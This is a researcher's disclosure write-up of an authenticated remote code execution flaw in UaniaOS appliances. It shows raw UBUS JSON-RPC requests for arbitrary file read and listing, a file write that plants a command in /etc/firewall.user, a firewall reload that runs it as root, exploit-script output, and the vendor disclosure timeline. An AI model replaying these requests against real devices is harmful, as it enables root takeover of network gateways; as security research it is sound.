rainpwn

    Research note

    UANIA OS: Authenticated Remote Code Execution

    The UaniaBOX hands its admin a web GUI and no shell. Its packet capture page validated the one field that looked dangerous, then handed me arbitrary file reads and writes over UBUS. One writable path, /etc/firewall.user, was enough to run commands as root.

    Date: 2025-05-20
    Title: UANIA Authenticated Remote Code Execution
    Author: Alessandro Sgreccia (@rainpwn)
    Author Homepage: https://rainpwn.blog/
    Vendor Homepage: https://www.uania.com/
    Tested Version: 3.0 Stable
    Tested on: Uania-Box
    Affected: UaniaOS >= 2.1 < 3.0.1 (confirmed by the vendor)
    Fixed in: UaniaOS 3.0.1
    Vendor Advisory: https://www.uania.com/security/
    CVE: requested through MITRE, ID still pending at the time of writing.

    "The important thing is not to stop questioning."
    -Albert Einstein

    Summary

    About a year ago we started evaluating an SD-WAN bandwidth aggregation solution called UANIA for a number of customers. The vendor sells several models, and the one we picked was the UaniaBOX, which can aggregate up to three WAN links.

    The box landed on my desk, and before it went anywhere near a production network I wanted to know how it held up under pressure. What follows is how an authenticated web session on that appliance turned into root.

    First Analysis

    I started where everyone starts: how do you get into this thing?

    UaniaOS ships a web interface, and this is the login screen.

    UaniaOS 3.0 stable login page, with the username admin already filled in and an empty password field. The address bar shows /cgi-bin/luci on port 65080

    With the credentials supplied by the vendor I landed on the dashboard.

    The UaniaBox dashboard after login, showing model UaniaBox, an uptime of 63 days and a list of active DHCP leases with hostnames and addresses blacked out

    Trying the same admin account over SSH went nowhere.

    bash
    rainpwn@0xdeadspace:~$ ssh admin@192.168.100.1
    (admin@192.168.100.159) Password:
    (admin@192.168.100.159) Password: # Rejected

    So the appliance is administered entirely from the web GUI, with no shell available to the operator. That constraint is the whole reason this write-up exists: if you cannot get a shell through the front door, you start looking for a feature that will run commands on your behalf.

    Going through the menus, one entry stood out immediately for exactly that reason: Services\Packet Capture.

    The Packet Capture page under the Servizi menu, with fields for the tcpdump filter, duration, packet count, domain resolution and verbose mode, and buttons to start the capture and download the result

    Packet Capture offers:

    • Filter
    • Duration (in seconds)
    • Packets (number of packets to capture)
    • Resolve domains
    • Verbose
    • Start
    • Download the captured pcap file

    A feature that takes user input and feeds it to tcpdump is a promising place to start.

    Packet Capture

    These are the requests the page fires in the background while you sit on it.

    1. It checks the pid file in /var/run/ to see whether tcpdump is already running.

      http
      POST /ubus/?1753692676204 HTTP/1.1
      Host: redacted:65080
      Content-Length: 142
      Accept-Language: it-IT,it;q=0.9
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
      Content-Type: application/json
      Accept: */*
      Origin: http://redacted:65080
      Referer: http://redacted:65080/cgi-bin/luci/admin/services/packet_capture
      Accept-Encoding: gzip, deflate, br
      Connection: keep-alive
      
      [
          {
              "jsonrpc":"2.0",
              "id":45,
              "method":"call",
              "params":[
                  "AUTH_TOKEN-0000",
                  "file",
                  "stat",
                  {
                      "path":"/var/run/packet_capture.pid"
                  }
              ]
          }
      ]
    2. It checks whether the .pcap file exists.

      http
      POST /ubus/?1753692676656 HTTP/1.1
      Host: redacted:65080
      Content-Length: 132
      Accept-Language: it-IT,it;q=0.9
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
      Content-Type: application/json
      Accept: */*
      Origin: http://redacted:65080
      Referer: http://redacted:65080/cgi-bin/luci/admin/services/packet_capture
      Accept-Encoding: gzip, deflate, br
      Connection: keep-alive
      
      [
          {
              "jsonrpc":"2.0",
              "id":47,
              "method":"call",
              "params":[
                  "AUTH_TOKEN-0000",
                  "file",
                  "stat",
                  {
                      "path":"/tmp/capture.pcap"
                  }
              ]
          }
      ]

    Two things are already visible here, and both matter later: the frontend talks to a JSON-RPC endpoint at /ubus/, and it asks that endpoint to touch arbitrary paths on the filesystem.

    Command injection through the filter field

    Intercepting the request sent when the capture starts, I could see the GUI calling /usr/libexec/packet_capture_start with my filter, here just -h.

    http
    POST /cgi-bin/cgi-exec?1753692983928 HTTP/1.1
    Host: redacted:65080
    Content-Length: 272
    Accept-Language: it-IT,it;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Accept: */*
    Origin: http://redacted:65080
    Referer: http://redacted:65080/cgi-bin/luci/admin/services/packet_capture
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    sessionid=AUTH_TOKEN&command=%2Fusr%2Flibexec%2Fpacket_capture_start%20%7B%22interface%22%3A%22eth0%22%2C%22filter%22%3A%22-h%22%2C%22packets%22%3A%22%22%2C%22duration%22%3A%22%22%2C%22verbose%22%3Afalse%2C%22domains%22%3Afalse%2C%22file%22%3Atrue%7D
    
    # Url Decoded
    sessionid=AUTH_TOKEN&command=/usr/libexec/packet_capture_start {"interface":"eth0","filter":"-h","packets":"","duration":"","verbose":false,"domains":false,"file":true}

    This looked like the shortest path to code execution, and it was a dead end. The filter is validated server side, and every injection attempt I threw at it came back the same way.

    http
    HTTP/1.1 200 OK
    Connection: close
    Content-Type: application/octet-stream
    Content-Length: 47
    
    error: Il filtro inserito non risulta corretto

    ("The filter you entered is not valid.")

    Credit where it is due: that field is handled properly.

    The download CGI

    Downloading the .pcap produces this request.

    http
    POST /cgi-bin/cgi-download HTTP/1.1
    Host: redacted.uania.net:65080
    Content-Length: 119
    Cache-Control: max-age=0
    Accept-Language: it-IT,it;q=0.9
    Origin: http://redacted.uania.net:65080
    Content-Type: application/x-www-form-urlencoded
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://redacted.uania.net:65080/cgi-bin/luci/admin/services/packet_capture
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    sessionid=AUTH_TOKEN&path=%2Ftmp%2Fcapture.pcap&filename=redacted.uania.cloud-1753693356292.pcap&mimetype=application%2Fvnd.tcpdump.pcap
    
    # Url Decoded
    sessionid=AUTH_TOKEN&path=/tmp/capture.pcap&filename=redacted.uania.cloud-1753693356292.pcap&mimetype=application/vnd.tcpdump.pcap

    The path is right there in the request body, so I swapped it for something more interesting.

    http
    sessionid=AUTH_TOKEN&path=%2Fetc%2Fpasswd&filename=passwd&mimetype=application%2Fvnd.tcpdump.pcap
    http
    HTTP/1.1 200 OK
    Connection: close
    Content-Type: application/vnd.tcpdump.pcap
    Content-Disposition: attachment; filename="passwd"
    Content-Length: 563
    
    root:x:0:0:root:/root:/bin/ash
    daemon:*:1:1:daemon:/var:/bin/false
    ftp:*:55:55:ftp:/home/ftp:/bin/false
    network:*:101:101:network:/var:/bin/false
    nobody:*:65534:65534:nobody:/var:/bin/false
    dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
    unbound:x:65536:65536:unbound:/var/run/unbound:/bin/false

    Arbitrary file read, one parameter away.

    It is not unrestricted, though. Asking for shadow gets you turned away.

    http
    sessionid=AUTH_TOKEN&path=%2Fetc%2Fshadow&filename=shadow&mimetype=application%2Fvnd.tcpdump.pcap
    http
    HTTP/1.1 403 Access to path denied by ACL
    Connection: close
    Content-Type: text/plain
    Content-Length: 29
    
    Access to path denied by ACL

    An ACL. Which told me a lot about what I was standing on.

    OpenWrt

    Looking back at the /ubus/ traffic, the pattern was consistent: JSON-RPC 2.0, an object called file, a method called stat, and a path as a parameter.

    json
    {
      "jsonrpc": "2.0",
      "id": 47,
      "method": "call",
      "params": [
        "AUTH_TOKEN-0000",
        "file",
        "stat",
        {
          "path": "/tmp/capture.pcap"
        }
      ]
    }
    

    The whole thing looked like internal system operations exposed over an API. I did not know the underlying platform yet, so I went searching for "ubus", "jsonrpc file stat path" and "ubus luci call rpc". Everything pointed at OpenWrt, the Linux based operating system that runs on a large slice of the world's routers and embedded gear.

    The official OpenWrt documentation on UBUS confirmed it. UBUS is OpenWrt's internal message bus, the channel daemons and modules use to talk to each other, and it is exposed over HTTP through rpcd, usually alongside LuCI, the web interface.

    Put that next to the referer carried by every request, /cgi-bin/luci/admin/services/packet_capture, and the picture was complete. The UaniaBOX is an OpenWrt box with a vendor skin on top.

    A word on ACLs

    ACLs in OpenWrt govern access to the UBUS calls that system modules and services expose. They decide who is allowed to call what, and they are the boundary that keeps an RPC interface from being a free shell.

    The mechanism is simple. A user who authenticates, over RPC or through LuCI, gets a session token bound to a set of ACL scopes. Every request is checked against those scopes, comparing the method being called with the permissions attached to the token. If the required ACL is missing, the call is refused with an access denied error.

    That is what stopped the /etc/shadow read. The interesting question is what the ACL does allow.

    Enumeration over UBUS

    With a rough idea of what I was dealing with, I started playing with the requests. If I could file stat a path, maybe I could read it too. And if I could read it, maybe I could write it.

    Taking the pcap existence check as a template and swapping stat for read, /etc/passwd came back without going anywhere near cgi-download.

    json
    [
        {
            "jsonrpc":"2.0",
            "id":1167,
            "method":"call",
            "params":[
                "AUTH_TOKEN",
                "file",
                "read",
                {
                    "path":"/etc/passwd"
                }
            ]
        }
    ]
    http
    HTTP/1.1 200 OK
    Connection: close
    Content-Type: application/json
    Content-Length: 633
    
    [
        {
            "jsonrpc":"2.0",
            "id":1167,
            "result":[
                0,
                {
                    "data":"root:x:0:0:root:/root:/bin/ash\ndaemon:*:1:1:daemon:/var:/bin/false\nftp:*:55:55:ftp:/home/ftp:/bin/false\nnetwork:*:101:101:network:/var:/bin/false\nnobody:*:65534:65534:nobody:/var:/bin/false\ndnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false\nunbound:x:65536:65536:unbound:/var/run/unbound:/bin/false\n"
                }
            ]
        }
    ]

    Directory listing works the same way with list.

    json
    [
        {
            "jsonrpc":"2.0",
            "id":1167,
            "method":"call",
            "params":[
                "2c4bdde0f2194e77cf02dc8d25048899",
                "file",
                "list",
                {
                    "path":"/etc/"
                }
            ]
        }
    ]
    http
    HTTP/1.1 200 OK
    Connection: close
    Content-Type: application/json
    Content-Length: 13386
    
    [
        {
            "jsonrpc":"2.0",
            "id":1167,
            "result":[
                0,
                {
                    "entries":[
                        {
                            "name":"banner",
                            "type":"file",
                            "size":154,
                            "mode":33188,
                            "atime":1602205805,
                            "mtime":1602205805,
                            "ctime":1602205805,
                            "inode":90,
                            "uid":0,
                            "gid":0
                        },
                        {
                            "name":"banner.failsafe",
                            "type":"file",
                            "size":461,
                            "mode":33188,
                            "atime":1602205805,
                            "mtime":1602205805,
                            "ctime":1602205805,
                            "inode":91,
                            "uid":0,
                            "gid":0
                        },
                        {
                            "name":"board.d",
                            "type":"directory",
                            "size":74,
                            "mode":16877,
                            "atime":1602205805,
                            "mtime":1602205805,
                            "ctime":1602205805,
                            "inode":92,
                            "uid":0,
                            "gid":0
                        },
                        [..SNIP..]

    Goofy Shell

    After twenty minutes of hand editing requests in a proxy, I got tired of it and wrote a small Python script to do the typing for me. I called it Goofy Shell.

    It takes a command from a very short menu:

    • ls
    • cat
    • cd
    • pwd

    crafts the matching JSON-RPC request, sends it to the endpoint and prints the result. It is not a shell in any real sense, but it feels like one, and that was enough to make the enumeration bearable.

    bash
    rainpwn@0xdeadspace:~$ python3 goofy_shell.py
    [!] Usage: python goofy_shell.py <hostname.uania.net> <port> <username>
    rainpwn@0xdeadspace:~$ python3 goofy_shell.py redacted.uania.net 65080 admin
    Password:
    [+] Authenticated!
    === UANIA GOOFY SHELL ===
    goofy_shell@redacted.uania.net> # Hello Goofy Shell!!
    goofy_shell@redacted.uania.net> pwd
    Directory attuale: /
    goofy_shell@redacted.uania.net> ls
    [+] Directory Listing Result:
          Type Name                           Size                 Mode       UID        GID
     directory bin                            1249                  16877     0          0
     directory dev                            2900                  16877     0          0
     directory etc                            3488                  16877     0          0
     directory lib                            3488                  16877     0          0
     directory lib64                          3488                  16877     0          0
     directory mnt                            3                     16877     0          0
     directory overlay                        4096                  16877     0          0
     directory proc                           0                     16749     0          0
     directory rom                            260                   16877     0          0
     directory root                           3488                  16877     0          0
     directory sbin                           3488                  16877     0          0
     directory sys                            0                     16749     0          0
     directory tmp                            740                   17407     0          0
     directory usr                            3488                  16877     0          0
     directory var                            740                   17407     0          0
     directory www                            3488                  16877     0          0
     directory boot                           4096                  16877     0          0
     directory .android                       3488                  16872     0          0
          file storage.json                   555                   33188     0          0
     directory .cache                         3488                  16877     0          0
          file search.sh                      271                   33261     0          0
    goofy_shell@redacted.uania.net> cat /etc/passwd
    Contenuto di /etc/passwd:
    --------------------------------------------------
    root:x:0:0:root:/root:/bin/ash
    daemon:*:1:1:daemon:/var:/bin/false
    ftp:*:55:55:ftp:/home/ftp:/bin/false
    network:*:101:101:network:/var:/bin/false
    nobody:*:65534:65534:nobody:/var:/bin/false
    dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
    unbound:x:65536:65536:unbound:/var/run/unbound:/bin/false
    --------------------------------------------------
    
    goofy_shell@redacted.uania.net>

    Reading was easy. Writing was the problem. I spent a few hours walking the filesystem and trying file write against anything that looked promising, and the ACL bounced all of it. Then one path went through: /etc/firewall.user.

    If you have ever touched OpenWrt you already know why that is bad news for the device. Here is the file, comments included.

    bash
    # This file is interpreted as shell script.
    # Put your custom iptables rules here, they will
    # be executed with each firewall (re-)start.
    
    # Internal uci firewall chains are flushed and recreated on reload, so
    # put custom rules into the root chains e.g. INPUT or FORWARD or into the
    # special user chains, e.g. input_wan_rule or postrouting_lan_rule.

    The file documents the exploit for you. It is a shell script, it runs on every firewall restart, and it runs as root.

    The self sabotage meme: a cyclist labelled UaniaOS 3.0 pushes a stick into his own front wheel, labelled /etc/firewall.user writable, and crashes

    Remote Code Execution

    The payload is a single file write call that appends a command to the end of the file, keeping the original comments so the change stays inconspicuous.

    json
    {
            "jsonrpc":"2.0",
            "id":0,
            "method":"call",
            "params":
            [
                "AUTH_TOKEN",
                "file",
                "write",
                {
                    "path":"/etc/firewall.user",
                    "data":f"# This file is interpreted as shell script.\n# Put your custom iptables rules here, they will\n# be executed with each firewall (re-)start.\n\n# Internal uci firewall chains are flushed and recreated on reload, so\n# put custom rules into the root chains e.g. INPUT or FORWARD or into the\n# special user chains, e.g. input_wan_rule or postrouting_lan_rule.\n\nid > /tmp/capture.pcap"
                }
            ]
        }

    From here the command runs on the next reboot or on the next firewall configuration reload. There is no need to wait for a reboot, because the GUI will reload the firewall for you. Create a throwaway rule, apply the configuration, and uci-firewall restarts.

    The Bypass dialog holding a throwaway rule, left disabled, with ASN and note both set to test

    The Bypass rule list with the test entry saved, and a hand drawn arrow pointing at the circled Salva e applica button that triggers the configuration reload

    A blue banner across the interface reading Applying configuration changes, with an 88 second countdown

    Then read back the file the payload wrote to, using the same file read call the page uses for its own pcap.

    http
    POST /ubus/?1753695001662 HTTP/1.1
    Host: redacted.uania.net:65080
    Content-Length: 134
    Accept-Language: it-IT,it;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
    Content-Type: application/json
    Accept: */*
    Origin: http://redacted.uania.net:65080
    Referer: http://redacted.uania.net:65080/cgi-bin/luci/admin/services/packet_capture
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    [{"jsonrpc":"2.0","id":1167,"method":"call","params":["AUTH_TOKEN","file","read",{"path":"/tmp/capture.pcap"}]}]
    http
    HTTP/1.1 200 OK
    Connection: close
    Content-Type: application/json
    Content-Length: 79
    
    [{"jsonrpc":"2.0","id":1167,"result":[0,{"data":"uid=0(root) gid=0(root)\n"}]}]

    uid=0. An authenticated web user, with no shell access by design, executing commands as root.

    Exploit

    I wrapped the whole chain into a single script: authenticate, grab the CSRF token, read /etc/passwd to confirm access, write the payload, trigger the firewall reload, read the output back.

    bash
    rainpwn@0xdeadspace:~$ python .\exploit.py http://redacted.uania.net:65080 admin
    Password:
    
               _   _  _   _  _ ___   _
              | | | |/_\ | \| |_ _| /_\
              | |_| / _ \| .` || | / _ \
               \___/_/ \_\_|\_|___/_/ \_\
                  UANIA(pwn)BOX - RCE
    +----------------------------------------------+
     Exploit Author: Alessandro Sgreccia (@rainpwn)
    Author Homepage: https://rainpwn.blog/
          Tested on: UaniaOS 3.0
    +----------------------------------------------+
    
    [+] UANIA BOX is online
    [+] Authentication: Success!
    [+] Got CSRF token: 66247a9114d60235ca3eb1563d000b50
    [*] Starting: stage 1 ...
    -> [*] Rading: /etc/passwd ...
    -> [+] Got /etc/passwd content!
    -> [*] Writing: 'id > /tmp/capture.pcap' in /etc/firewall.user ...
    -> [*] Deliverying payload ...
    -> [+] Payload delivered successfully!
    [*] Starting: stage 2 ...
    [*] Restarting uci-firewall will cause an internal network outage for a few seconds. Procced? (Y/n) Y
    -> [*] Reloading: uci-firewall ...
    -> [*] Applying: uci-config ...
    -> [+] Uci-config: Applied!
    -> [*] Waiting to root executing payload ...
    [*] Reading: /tmp/capture.pcap ...
    [+] It's Raining! Exploit successful!
    
    Content of /tmp/capture.pcap:
    --------------------------------------------------
    uid=0(root) gid=0(root)
    --------------------------------------------------

    One note on the second stage: reloading uci-firewall drops the internal network for a few seconds, so the script asks before doing it. On a device sitting in front of a customer's traffic, that is not a detail to skip past.

    With root code execution, getting a real shell on the box is a formality.

    bash
    rainpwn@0xdeadspace:~$ ssh 192.168.100.1 -l rainpwn
    Password:
    
    BusyBox v1.31.1 () built-in shell (ash)
    
    ---------------------------------------------------
    
                UaniaOS 3.0 - Uania Srl
    
    ---------------------------------------------------
    root@redacted:~# id
    uid=0(root) gid=0(root)
    root@redacted:~# pwned \o/

    Disclosure Timeline

    1. 2025-07-25First report sent to UANIA at <info@uania.com>.
    2. 2026-01-27Report sent again, the first one having gone unanswered.
    3. 2026-01-28UANIA acknowledged receipt of the report.
    4. 2026-02-10UANIA confirmed they had reproduced the issue and scoped it to UaniaOS >= 2.1 < 3.0.1, attributing it to excessive ACL permissions in their OpenWrt customization feeds, which allow an authenticated non-root user to call ubus file write on arbitrary paths. The fix was already developed and tested internally, with the update to users planned for the end of February 2026. They proposed a coordinated disclosure: a public advisory on uania.com/security alongside this write-up, a full technical description, credit to me, and publication after roughly 60 days to give their centrally managed fleet, over 4000 devices, time to update. They also offered to file the CVE with MITRE jointly, as co-discoverers.
    5. 2026-02-10I agreed to the coordinated advisory and the 60 day window, asked to go ahead with the MITRE CVE so that the advisory and the public disclosure would line up, asked to review the final advisory before publication, and asked to republish it on Red Hot Cyber, since Hackerhood is part of that group.
    6. 2026-02-17UANIA accepted the CVE request and committed to sending both the MITRE submission and their own security advisory for my review around mid-March, filing by the end of March, with a possible slip of a few weeks if the device rollout ran late. They had no objection to the Red Hot Cyber publication once the CVE was assigned.
    7. 2026-03-24UANIA sent the draft advisory for the new uania.com/security section and the draft MITRE CVE submission, asking for feedback on the credits in particular.
    8. 2026-03-25I approved both drafts as they were, credits included.
    9. 2026-09-10With no CVE assigned five months later, I asked UANIA for a status update.
    10. 2026-09-14UANIA confirmed the advisory was live at https://www.uania.com/security/ and that the CVE request had been filed through MITRE's cveform, which has since become legacy, with no response ever received. Following my request they resubmitted it and this time got a submission confirmation and an internal tracking reference.